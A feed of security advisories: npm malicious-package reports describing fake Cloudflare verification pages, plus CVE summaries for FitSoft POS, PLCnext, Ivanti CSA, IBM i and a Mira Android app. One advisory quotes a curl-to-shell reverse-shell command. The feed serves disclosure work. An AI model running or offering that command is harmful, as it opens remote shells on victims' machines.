Malicious code in cjdfswifuem3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 565ffd2f5127412df02a03f80345ff2420dc5545b65abff5298eac3bf1bf2990 The package has no JavaScript module; package.json declares main as index.html, which cannot be require'd, so installing or importing this package...

Malicious code in ms_aidc_com_tw (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b12bdd45f103beeee602be82a07277a3f0cb842ec3a9829e904911fe37bd2fd5 The package msaidccomtw ships only an index.html that renders a fake Cloudflare Turnstile 'security verification' page. On Turnstile completion,...

MAL-2026-13821 Malicious code in mnchfnvbue1 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ff948b6e989a38a47cbb12d4e633d48a2069c04bb64066d66140f3b27835ef86 The tarball contains a single file, index.html, declared as the package main. The HTML contains heavily obfuscated JavaScript that mimics a Cloudflar...

Malicious code in bcnfjndwbkf2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5a1fc1ec45930a69372eadc47b662c5d82b247b5b4227feacda3d1c4302b4bf3 The package contains only index.html and declares main: 'index.html' with no scripts, no bin, and no JavaScript library surface. The HTML mimics a...

Malicious code in cxcbdjxcmncvfg2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0caba01ec3b437a50e1808290e06ae0d084836e6660a0fe90ad56e8cd80b0338 The package contains a single index.html that visually impersonates a Cloudflare 'Just a moment...' challenge page including a spoofed Ray ID and...

Malicious code in dhjksficgwu2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f5dc64d0022ee36cd898963db50e3c835990bf94837821fb34408820855c69c0 Package contains a single index.html file declared as main. The HTML impersonates a Cloudflare Turnstile 'Just a moment...' verification page sitekey...

MAL-2026-13795 Malicious code in csbcldfvivwfgd4 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f6d7db017a0499c0fca67cc331c44fa736fe52568177990823cb17bd03ceee21 The package contains a single index.html declared as main. The HTML mimics a Cloudflare 'Just a moment...' challenge and contains obfuscator.io-style...

MAL-2026-13818 Malicious code in jkbnwsdf8 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8e67b8d2fe8ba4fcec395d1fa7497515b41f2e4edc7f25e12c2b4b4abcebe358 The package contains a single file, index.html, declared as the package main. The HTML is styled as a Cloudflare Turnstile 'Just a moment...' challen...

MAL-2026-13813 Malicious code in hgdvfuflnb (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector dfc8e3c1c86c0f0589e1ab4d2a6e3f3a757b758c1f126e0d197f3924d9637922 Package [email protected] contains a single file, index.html, declared as the package main. The HTML impersonates a Cloudflare 'Just a moment...'...

CVE-2026-19426

POS System developed by FitSoft has a Missing Authentication vulnerability. Unauthenticated remote attackers can directly access and operate the system...

CVE-2025-41770

An unauthenticated denial-of-service vulnerability in the device's PLCnext Engineer communication interface allow an remote attacker to interrupt access via the client application. Successful exploitation prevents communication until the PLCnext service is manually restarted...

EUVD-2026-57148

POS System developed by FitSoft has a Missing Authentication vulnerability. Unauthenticated remote attackers can directly access and operate the system...

CVE-2026-19426 FitSoft｜POS Sytstem - Missing Authentication

POS System developed by FitSoft has a Missing Authentication vulnerability. Unauthenticated remote attackers can directly access and operate the system...

CVE-2026-19426

POS System developed by FitSoft has a Missing Authentication vulnerability. Unauthenticated remote attackers can directly access and operate the system...

Ivanti Cloud Services Appliance - Path Traversal

Path Traversal in the Ivanti CSA before 4.6 Patch 519 allows a remote unauthenticated attacker to access restricted functionality. id: CVE-2024-8963 info: name: Ivanti Cloud Services Appliance - Path Traversal author: johnk3r severity: critical description: | Path Traversal in the Ivanti CSA befo...

PT-2026-71159

Name of the Vulnerable Software and Affected Versions IBM i versions 7.3 through 7.6 Description Remote authenticated attackers can bypass security restrictions because the system does not properly validate session tokens. A session token is a unique identifier used by a server to recognize a...

MAL-2026-13764 Malicious code in internallib_v164 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...

CVE-2026-67568

The distributed Mira Android APK v4.5.15.4 allows an attacker read/write access to reproductive health profiles from internet connected hosts, which could result in forgery, deletion, or destruction of health information...

CVE-2026-67568

The distributed Mira Android APK v4.5.15.4 allows an attacker read/write access to reproductive health profiles from internet connected hosts, which could result in forgery, deletion, or destruction of health information...

CVE-2026-67568

The CVE-2026-67568 entry concerns Mira Android APK v4.5.15.4, where an attacker could read/write reproductive health profiles from internet-connected hosts, enabling forgery, deletion, or destruction of health information. Public metrics show a critical impact (CVSS 3.1/3.1: 9.1; CVSS 4.0/4.0: 9....